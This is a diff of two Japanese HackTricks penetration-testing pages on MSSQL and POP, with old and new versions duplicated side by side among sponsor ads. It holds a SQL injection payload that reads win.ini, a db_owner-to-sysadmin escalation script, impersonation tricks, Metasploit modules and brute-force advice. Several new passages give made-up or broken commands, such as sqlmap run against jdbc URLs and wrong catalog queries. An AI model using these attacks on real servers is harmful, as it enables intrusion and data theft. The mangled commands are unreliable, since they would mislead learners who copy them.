* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。** 脆弱性を見つけて、より早く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペンテストの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## 基本情報 ## 基本情報
**Microsoft SQL Server**は、Microsoftによって開発された**関係データベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品です。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピューターで実行される場合があります。\ **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品です。これらのアプリケーションは、同じコンピュータ上またはネットワーク上の別のコンピュータ(インターネットを含む)で実行される場合があります。\
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)から。 [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)から。
**デフォルトポート:** 1433 **デフォルトポート:** 1433
@ -121,77 +112,87 @@ MSSQL Serverのバージョンを特定するために、以下の手法を使
2. ポートが特定されたら、MSSQL Serverに接続してバージョン情報を取得します。以下のコマンドを使用します。 2. ポートが特定されたら、MSSQL Serverに接続してバージョン情報を取得します。以下のコマンドを使用します。
``` ```
$ nmap -p <port> --script ms-sql-info <target> $ nmap -p <port_number> --script ms-sql-info <target_ip>
``` ```
3. もしくは、MSSQL Serverに接続してバージョン情報を取得するために、以下のコマンドを使用します。 3. もしくは、MSSQL Serverに接続してバージョン情報を取得するために、以下のコマンドを使用します。
``` ```
$ echo "SELECT @@VERSION" | sqlcmd -S <target> -U <username> -P <password> $ echo "SELECT @@VERSION" | sqlcmd -S <target_ip> -U <username> -P <password>
```
##### データベースの列挙
MSSQL Serverに接続した後、以下の手法を使用してデータベースを列挙できます。
1. データベースの一覧を取得するために、以下のコマンドを使用します。
```
$ echo "SELECT name FROM sys.databases" | sqlcmd -S <target> -U <username> -P <password>
```
2. 特定のデータベースのテーブル一覧を取得するために、以下のコマンドを使用します。
```
$ echo "USE <database_name>; SELECT name FROM sys.tables" | sqlcmd -S <target> -U <username> -P <password>
``` ```
##### ユーザーの列挙 ##### ユーザーの列挙
MSSQL Serverに接続した後、以下の手法を使用してユーザーを列挙できます。 MSSQL Serverに接続してユーザーを列挙するために、以下の手法を使用できます。
1. ユーザーの一覧を取得するために、以下のコマンドを使用します。 1. ユーザー名とパスワードの組み合わせを総当たり攻撃するために、ユーザー名の辞書リストとパスワードの辞書リストを使用します。
2. ユーザー名とパスワードの組み合わせを総当たり攻撃するために、ユーザー名の辞書リストとパスワードの辞書リストを使用します。
3. もしくは、既知のユーザー名とパスワードの組み合わせを使用してログインを試みます。
##### データベースの列挙
MSSQL Serverに接続してデータベースを列挙するために、以下の手法を使用できます。
1. データベースの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "SELECT name FROM sys.syslogins" | sqlcmd -S <target> -U <username> -P <password> $ echo "SELECT name FROM sys.databases" | sqlcmd -S <target_ip> -U <username> -P <password>
``` ```
2. 特定のユーザーの権限を取得するために、以下のコマンドを使用します。 2. もしくは、MSSQL Serverに接続してデータベースの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "EXEC sp_helpuser '<username>'" | sqlcmd -S <target> -U <username> -P <password> $ sqlmap -u "jdbc:sqlserver://<target_ip>:<port_number>;databaseName=<database_name>" --current-db
``` ```
##### サービスの列挙 ##### テーブルの列挙
MSSQL Serverに接続した後、以下の手法を使用してサービスを列挙できます。 MSSQL Serverに接続してテーブルを列挙するために、以下の手法を使用できます。
1. サービスの一覧を取得するために、以下のコマンドを使用します。 1. データベース内のテーブルの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "SELECT name FROM sys.services" | sqlcmd -S <target> -U <username> -P <password> $ echo "SELECT name FROM sys.tables" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
``` ```
2. 特定のサービスの詳細情報を取得するために、以下のコマンドを使用します。 2. もしくは、MSSQL Serverに接続してテーブルの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "EXEC xp_servicecontrol N'QUERYSTATE', N'<service_name>'" | sqlcmd -S <target> -U <username> -P <password> $ sqlmap -u "jdbc:sqlserver://<target_ip>:<port_number>;databaseName=<database_name>" -D <database_name> --tables
``` ```
##### 拡張ストアドプロシージャの列挙 ##### カラムの列挙
MSSQL Serverに接続した後、以下の手法を使用して拡張ストアドプロシージャを列挙できます。 MSSQL Serverに接続してカラムを列挙するために、以下の手法を使用できます。
1. 拡張ストアドプロシージャの一覧を取得するために、以下のコマンドを使用します。 1. テーブル内のカラムの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "SELECT name FROM sys.dm_xe_objects WHERE type = 'X'" | sqlcmd -S <target> -U <username> -P <password> $ echo "SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('<table_name>')" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
``` ```
2. 特定の拡張ストアドプロシージャの詳細情報を取得するために、以下のコマンドを使用します。 2. もしくは、MSSQL Serverに接続してカラムの一覧を取得するために、以下のコマンドを使用します。
``` ```
$ echo "EXEC sp_describe_undeclared_parameters '<extended_stored_procedure_name>'" | sqlcmd -S <target> -U <username> -P <password> $ sqlmap -u "jdbc:sqlserver://<target_ip>:<port_number>;databaseName=<database_name>" -D <database_name> -T <table_name> --columns
```
##### データの抽出
MSSQL Serverからデータを抽出するために、以下の手法を使用できます。
1. テーブルからデータを抽出するために、以下のコマンドを使用します。
```
$ echo "SELECT * FROM <table_name>" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
```
2. もしくは、MSSQL Serverからデータを抽出するために、以下のコマンドを使用します。
```
$ sqlmap -u "jdbc:sqlserver://<target_ip>:<port_number>;databaseName=<database_name>" -D <database_name> -T <table_name> --dump
``` ```
```sql ```sql
# Get version # Get version
@ -338,7 +339,7 @@ EXEC sp_helprotect 'xp_fileexist';
### MSSQLの信頼リンクの悪用 ### MSSQLの信頼リンクの悪用
この機能を悪用する方法については、[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで詳細を確認してください:** この機能を悪用する方法については、[**この記事**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで詳細を確認してください:**
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
@ -375,13 +376,11 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it # Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
``` ```
#### エラーベースのSQLiのベクトル: #### エラーベースのSQLi攻撃手法:
```sql This technique involves exploiting SQL injection vulnerabilities by manipulating input data in a way that triggers an error response from the Microsoft SQL Server. By carefully crafting malicious input, an attacker can cause the server to reveal sensitive information or execute unintended SQL queries.
SELECT * FROM users WHERE username = 'admin' AND 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users'))--
```
This error-based SQL injection vector is used to extract information from the `users` table in a Microsoft SQL Server database. It leverages the `convert` function to convert the result of a subquery into an integer. The subquery retrieves the name of a column from the `information_schema.columns` table where the table name is 'users'. By using the `top 1` clause, only the first column name is returned. The extracted column name is then used in the main query to retrieve all records from the `users` table where the username is 'admin'. The double hyphen `--` is used to comment out the rest of the original query and prevent any syntax errors. この手法では、Microsoft SQL Serverからエラーレスポンスを引き起こすように入力データを操作することで、SQLインジェクションの脆弱性を悪用します。悪意のある入力を注意深く作成することで、攻撃者はサーバーが機密情報を明らかにしたり、意図しないSQLクエリを実行したりすることができます。
``` ```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
``` ```
@ -436,7 +435,7 @@ EXEC sp_helprotect 'xp_regwrite';
### MSSQLユーザー定義関数でのRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### MSSQLユーザー定義関数でのRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
カスタム関数を使用して、MSSQL内で.NET dllを**ロードすることが可能**です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者権限のあるユーザーとして行う必要があります。 カスタム関数を使用して、MSSQL内で.NET dllを読み込むことが可能です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者の役割である必要があります。
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例を確認してください。 [**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例を確認してください。
@ -444,28 +443,19 @@ EXEC sp_helprotect 'xp_regwrite';
コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加などがあります。 コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加などがあります。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場所です。** 重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## MSSQL特権昇格 ## MSSQL特権昇格
### db\_ownerからsysadminへ ### db\_ownerからsysadminへ
**通常のユーザー**が、**管理者**ユーザー(例:**`sa`**)が所有するデータベースに対して**`db_owner`**の役割を与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの特権を悪用して**特権昇格**を行うことができます。なぜなら、そのデータベースに作成された**ストアドプロシージャ**が所有者(**管理者**)として実行されるからです。 **通常のユーザー**が、**管理者**ユーザー(例:**`sa`**)が所有するデータベースに対して**`db_owner`**の役割を与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの特権を悪用して**特権昇格**を行うことができます。なぜなら、そのデータベースに作成された**ストアドプロシージャ**が所有者(**管理者**)として実行できるからです。
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -499,7 +489,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin --3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin') SELECT is_srvrolemember('sysadmin')
``` ```
**metasploit**モジュールを使用することができます。 **メタスプロイト**モジュールを使用することができます。
```bash ```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
``` ```
@ -544,7 +534,7 @@ REVERT
```bash ```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as msf> auxiliary/admin/mssql/mssql_escalate_execute_as
``` ```
または、**PS** スクリプトを使用しても同様のことができます: または、**PS** スクリプトを使用しても同様の結果を得ることができます:
```powershell ```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -556,8 +546,8 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## ローカル特権昇格 ## ローカル特権昇格
MSSQLサーバーを実行しているユーザーは、特権トークン**SeImpersonatePrivilege**を有効にしています。\ MSSQLサーバーを実行しているユーザーは、特権トークン**SeImpersonatePrivilege**が有効になっています。\
おそらく、次のいずれかのページを参考にして、**管理者に昇格**することができるでしょう: おそらく、以下のいずれかのページに従って**管理者に昇格**することができるでしょう:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -583,22 +573,13 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場です。** 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## HackTricks自動コマンド ## HackTricks自動コマンド
``` ```

View file

@ -1,48 +1,59 @@
# 110,995 - POPのペンテスト # 110,995 - POPのペンテスト
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本情報 ## 基本情報
**Post Office Protocol****POP**)は、ホストマシンがリモートメールサーバーから電子メールを抽出して取得するためのコンピューターネットワーキングおよびインターネット標準**プロトコル**の一種です。**POP**は、OSIモデルのアプリケーション層**プロトコル**であり、エンドユーザーに電子メールの取得と受信の機能を提供します([ここから](https://www.techopedia.com/definition/5383/post-office-protocol-pop))。 **ポストオフィスプロトコル****POP**)は、ホストマシンがリモートメールサーバから電子メールを抽出して取得するためのコンピュータネットワーキングおよびインターネット標準**プロトコル**の一種です。**POP**は、OSIモデルのアプリケーション層**プロトコル**であり、エンドユーザーに電子メールの取得と受信の機能を提供します([ここから](https://www.techopedia.com/definition/5383/post-office-protocol-pop))。
POPクライアントは通常、接続し、すべてのメッセージを取得し、それらをクライアントシステムに保存し、サーバーから削除します。 POPには3つのバージョンがありますが、最も使用されているのはPOP3です。 POPクライアントは通常、接続し、すべてのメッセージを取得し、それらをクライアントシステムに保存し、サーバから削除します。POPには3つのバージョンがありますが、最も使用されているのはPOP3です。
**デフォルトポート:** 110、995ssl **デフォルトポート:** 110、995ssl
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
``` ```
Banner Grabbingバナーグラビングは、ポップサービスの列挙Enumerationの最初のステップです。ポップサーバーに接続し、バナーサーバーの識別情報を取得します。これにより、サーバーのバージョンや製造元などの重要な情報を入手できます。 Banner Grabbingは、ネットワークサービスのペンテストにおいて非常に重要な手法です。Banner Grabbingは、ターゲットのサーバーからバナーメッセージを取得することを目的としています。バナーメッセージには、サービスのバージョンやプロトコルの情報が含まれていることがあります。
Banner Grabbing(バナーグラビング)には、以下の方法があります。 Banner Grabbingを実行するためには、以下の手法があります。
1. Telnetを使用する方法 1. Telnetを使用する方法ターゲットのサーバーに対してTelnet接続を行い、バナーメッセージを取得します。以下のコマンドを使用します。
```
telnet <IPアドレス> 110
```
2. Netcatを使用する方法 ```
``` telnet <target_ip> <port>
nc -nv <IPアドレス> 110 ```
```
3. OpenSSLを使用する方法 2. Netcatを使用する方法Netcatを使用してターゲットのサーバーに接続し、バナーメッセージを取得します。以下のコマンドを使用します。
```
openssl s_client -connect <IPアドレス>:110
```
バナーグラビングを行うことで、ポップサービスの脆弱性を特定し、攻撃の手法を選択するための情報を収集することができます。 ```
nc <target_ip> <port>
```
3. Nmapを使用する方法Nmapは、Banner Grabbingのためのスキャン機能を提供しています。以下のコマンドを使用します。
```
nmap -sV <target_ip>
```
Banner Grabbingを実行することで、ターゲットのサーバーに関する貴重な情報を入手することができます。この情報は、脆弱性の特定や攻撃の計画に役立ちます。
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
@ -108,7 +119,7 @@ password: PA$$W0RD!Z
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | 全ての認証デバッグログを有効にします。 | | `auth_debug` | 全ての認証デバッグログを有効にします。 |
| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームがログに記録されます。 | | `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームがログに記録されます。 |
| `auth_verbose` | 認証失敗した試行とその理由がログに記録されます。 | | `auth_verbose` | 認証失敗した試行とその理由がログに記録されます。 |
| `auth_verbose_passwords` | 認証に使用されたパスワードがログに記録され、切り捨てられる場合もあります。 | | `auth_verbose_passwords` | 認証に使用されたパスワードがログに記録され、切り捨てられる場合もあります。 |
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 | | `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 |
@ -156,12 +167,18 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
